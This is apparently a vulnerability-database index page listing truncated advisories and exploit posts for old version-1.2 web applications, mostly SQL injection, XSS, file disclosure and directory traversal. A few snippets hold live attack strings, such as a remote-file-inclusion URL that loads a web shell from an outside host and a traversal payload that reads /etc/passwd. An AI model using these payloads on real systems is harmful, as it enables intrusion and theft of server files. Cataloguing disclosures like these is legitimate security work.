PT-2009-4565 · Fretsweb · Fretsweb

Name of the Vulnerable Software and Affected Versions: FretsWeb version 1.2 Description: The issue allows remote attackers to execute arbitrary SQL commands. This can be achieved via the name parameter to "player.php" and the hash parameter to "song.php". Recommendations: For FretsWeb version 1.2...

PT-2009-4561 · Fretsweb · Fretsweb

Name of the Vulnerable Software and Affected Versions: FretsWeb version 1.2 Description: The issue allows remote attackers to read arbitrary files due to multiple directory traversal vulnerabilities. This is achieved through directory traversal sequences in the language parameter to "charts.php"...

Code injection

Simple Linux Utility for Resource Management SLURM 1.2 and 1.3 before 1.3.14 does not properly set supplementary groups before invoking 1 sbcast from the slurmd daemon or 2 strigger from the slurmctld daemon, which might allow local SLURM users to modify files and gain privileges...

W2B Restaurant 1.2 - conf.inc Configuration File Disclosure

W2B Restaurant 1.2 - conf.inc Configuration File Disclosure || || | || o,7 || . o7 || 4||| ow, : / / . |-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=| | | | /' \ /'\ /\ \ /'\ /\ \ | | /, \ /\/\L\ \ \ \ ,/\ /\ \ \ \ / | | //\ \ /' \ /\ //\ Kings of injection | | //...

W2B Restaurant 1.2 - 'conf.inc' Configuration File Disclosure

|| || | || o,7 || . o7 || 4||| ow, : / / . |-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=| | | | /' \ /'\ /\ \ /'\ /\ \ | | /, \ /\/\L\ \ \ \ ,/\ /\ \ \ \ / | | //\ \ /' \ /\ //\ Kings of injection | | // | | |...

JobHut 1.2 Password Change

-------------------------------------------------- JobHut = 1.2 manageUsers Remote password change Vulnerability ---------------------------------------------------- founder : ThE g0bL!N Script Download: http://jobhut.spranger.us/ version:= 1.2 thx: to K-159 for 1 exploit...

Mega File Hosting Script 1.2 - url Remote File Inclusion

Mega File Hosting Script 1.2 - url Remote File Inclusion Mega File Hosting || Remote/Local File inclusion For All Version Just addition This Exploit and enjoy /cross.php?url=http://site.com/sh3ll.txt /cross.php?url=../../../.../../../../../etc/passwd%00 Author Garry /// 25/02/2009 Www.Hacking.ge...

Magento 1.2 - appcodecoreMageAdminhtmlcontrollersIndexController.php?email Cross-Site Scripting

Magento 1.2 - appcodecoreMageAdminhtmlcontrollersIndexController.php?email Cross-Site Scripting source: https://www.securityfocus.com/bid/33872/info Magento is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input. Attacker-supplied...

i-dreams Mailer 1.2 Final Info Disclosure

--------------------------------------------------------- Portal Name: i-dreams Mailer Version : 1.2 Final Author : PouyaServer , [email protected] Website: http://Pouya-Server.ir --------------------------------------------------------- Xpl: http://site.com/cgi-bin/budmail/data/admin.dat...

Joomla Component Portfol (vcatid) SQL Injection Vulnerability

No description provided by source. Joomla Component Portfol SQL Injection Vulnerability Vulnerability found by: H!tm@N Contact: khghitmanatgmaildotcom Site: www.khg-crew.ws Greetz: boom3rang, KHG, urtan, warning, chs, redc00de - -=Kosova Hackers Group=- ScriptName: "Joomla" Component: "Portfol...

Mini Web Calendar 1.2 (File Disclosure/XSS) Multiple Vulnerabilities

No description provided by source. XSS / FD Vulnerability script:Mini Web Calendar, ver. 1.2 download from:http://www.smolinari.com/srm/download/mwcal/mwcal.zip?PHPSESSID=84ivc1h7ohn8f9ra7cgn66fj94 ...................................................................................... local file...

Mini Web Calendar 1.2 - File Disclosure / Cross-Site Scripting

XSS / FD Vulnerability script:Mini Web Calendar, ver. 1.2 download from:http://www.smolinari.com/srm/download/mwcal/mwcal.zip?PHPSESSID=84ivc1h7ohn8f9ra7cgn66fj94 ...................................................................................... local file xpl:...

matpolink-sql.txt

MatPo Link Version 1.2 Beta Remote Sql inj. view.php id ---------------------------------------------------------- Discovered By: ZoRLu Date: 03.11.2008 Home: www.z0rlu.blogspot.com contact: [email protected] N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : N0T: a.q kpss yuzden nete ara...

MatPo Link 1.2b - SQL Injection

MatPo Link 1.2b - SQL Injection MatPo Link Version 1.2 Beta Remote Sql inj. view.php id ---------------------------------------------------------- Discovered By: ZoRLu Date: 03.11.2008 Home: www.z0rlu.blogspot.com contact: [email protected] N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : N0T:...

HyperStop WebHost Directory 1.2 - Database Disclosure

HyperStop WebHost Directory 1.2 - Database Disclosure source: https://www.securityfocus.com/bid/31249/info HyperStop WebHost Directory is reported prone to an information-disclosure vulnerability. Successful exploits of this issue may allow an attacker to obtain sensitive information by downloadi...

Cross-site scripting (XSS) vulnerability in Sun Java Server Faces

Cross-site scripting XSS vulnerability in Sun Java Server Faces JSF 1.2 before 1.208 allows remote attackers to inject arbitrary web script or HTML via unknown vectors...

Cross-site scripting (XSS) vulnerability in Sun Java Server Faces

Cross-site scripting XSS vulnerability in Sun Java Server Faces JSF 1.2 before 1.208 allows remote attackers to inject arbitrary web script or HTML via unknown vectors...

erocms-sql.txt

Viva IslaM Viva IslaM Remote SQL Injection Vulnerability eroCMS V1.0 - V1.1 - V1.2 - V1.3 - V1.4 index.php site AuTh0r : Mr.SQL H0ME : WwW.PaL-HaCkEr.CoM Email : [email protected] !! SYRIAN HaCkErS !! Script : eroCMS Vesrion : 1.0 - 1.1 - 1.2 - 1.3 - 1.4 site : www.erocms.de D0rk : "by eroCMS" -:: S...

eroCMS 1.4 - site SQL Injection

eroCMS 1.4 - site SQL Injection Viva IslaM Viva IslaM Remote SQL Injection Vulnerability eroCMS V1.0 - V1.1 - V1.2 - V1.3 - V1.4 index.php site AuTh0r : Mr.SQL H0ME : WwW.PaL-HaCkEr.CoM Email : [email protected] !! SYRIAN HaCkErS !! Script : eroCMS Vesrion : 1.0 - 1.1 - 1.2 - 1.3 - 1.4 site :...

The Campus Request Repairs System 1.2 - 'sentout.asp' Unauthorized Access

source: https://www.securityfocus.com/bid/29376/info The Campus Request Repairs System is prone to an unauthorized-access vulnerability because it fails to adequately limit access to administrative scripts used for creating accounts. An attacker can exploit this vulnerability to gain unauthorized...